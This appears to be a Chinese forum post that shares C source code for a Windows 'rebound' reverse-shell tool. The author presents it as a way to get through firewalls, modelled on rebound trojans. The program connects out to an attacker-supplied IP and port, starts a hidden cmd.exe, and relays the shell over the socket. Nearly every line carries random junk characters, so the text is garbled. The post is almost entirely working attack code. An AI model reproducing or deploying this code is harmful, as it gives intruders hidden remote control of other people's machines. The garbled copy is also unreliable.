这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 M`>W'<
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/* ============================== ;etQ
Rebound port in Windows NT ttsB'|ps
By wind,2006/7 8uT6Q C f
===============================*/ .|aSGvE
#include aDOH3Ri0K!
#include 1|nB\xgu
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#pragma comment(lib,"wsock32.lib") )I>rC%2P
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void OutputShell(); IL\mFjZ'
SOCKET sClient; i&HV8&KygN
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :_aY:`
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void main(int argc,char **argv) 6)3eB{$;
{ b?Jm)
WSADATA stWsaData; -$0S#/)Z
int nRet; }2r08,m
SOCKADDR_IN stSaiClient,stSaiServer; ?Tl@e
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if(argc != 3) &*yve}su
{ s Y6'y'a95
printf("Useage:\n\rRebound DestIP DestPort\n"); 5rWRE-
return; )m'_>-`^:
} P\AH9#XL
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WSAStartup(MAKEWORD(2,2),&stWsaData); 3LxJ}>]TO
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q#a21~S<
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stSaiClient.sin_family = AF_INET; v8@dvT<
stSaiClient.sin_port = htons(0); @i68%6H`?
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); YiJu48J
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) sy`s$Ed!
{ d5=xOEv;
:
printf("Bind Socket Failed!\n"); 6wd]X-G++
return; Q|1bF!#(1
} &7W6IM
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stSaiServer.sin_family = AF_INET; G6,8Xwk
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); MYPcH\K$h
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); "pPNlV]UA^
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) e)xWQ=,C
{ UQR"wUiiV
printf("Connect Error!"); UZ!hk*PF
return; VM!x)i9z
} mTPj@F>
OutputShell(); CHU'FSq!
} :mrGB3x{
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void OutputShell() h+W^k+~(
{ bS'r}
char szBuff[1024]; )QE_+H}p
SECURITY_ATTRIBUTES stSecurityAttributes; 10J*S[n1
OSVERSIONINFO stOsversionInfo; (J4utw Z
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; %:,=J
STARTUPINFO stStartupInfo; gQEV;hCO
char *szShell; !LJ.L?9qw
PROCESS_INFORMATION stProcessInformation; J50 ~B3bj`
unsigned long lBytesRead; %_[-[t3
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); K7.<,E"M.
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); RI(uG-Y
stSecurityAttributes.lpSecurityDescriptor = 0; ~ YK<T+
stSecurityAttributes.bInheritHandle = TRUE; `Z/ IW
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @5y(>>C}8%
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); /wTf&_"mTL
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); *lK4yI*%o
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O0~d6Ba
stStartupInfo.wShowWindow = SW_HIDE; ]~^/w}(K
stStartupInfo.hStdInput = hReadPipe; *r`Yz}
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; FZ9<Q
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GetVersionEx(&stOsversionInfo); #CPP dU$
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switch(stOsversionInfo.dwPlatformId) 4l''/$P
{ Nd_@J&
case 1: m-8 9nOls
szShell = "command.com"; J31M:<
break; >bN~p
default: [kOA+\v
szShell = "cmd.exe"; V]]qu:Mh8
break; (U_Q7hja?
} j7 =3\SO
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); X u):.0I
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send(sClient,szMsg,77,0); &=Zg0Q
while(1) ;8iL,^.A
{ (AG
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); X`n0b<
if(lBytesRead) m@.{zW7bO
{ %vt SeJ
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); A_Iu*pz^^
send(sClient,szBuff,lBytesRead,0); n[Iu!v\/*
} aT!9W'uY
else
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3
{ ocqB-C]
lBytesRead=recv(sClient,szBuff,1024,0); 5\0.[W{^
if(lBytesRead<=0) break; g&3#22z
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); b8Rh|"J)d
} RVnyl`s
} 1?RCJ]e5
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return; .'b3iG&
}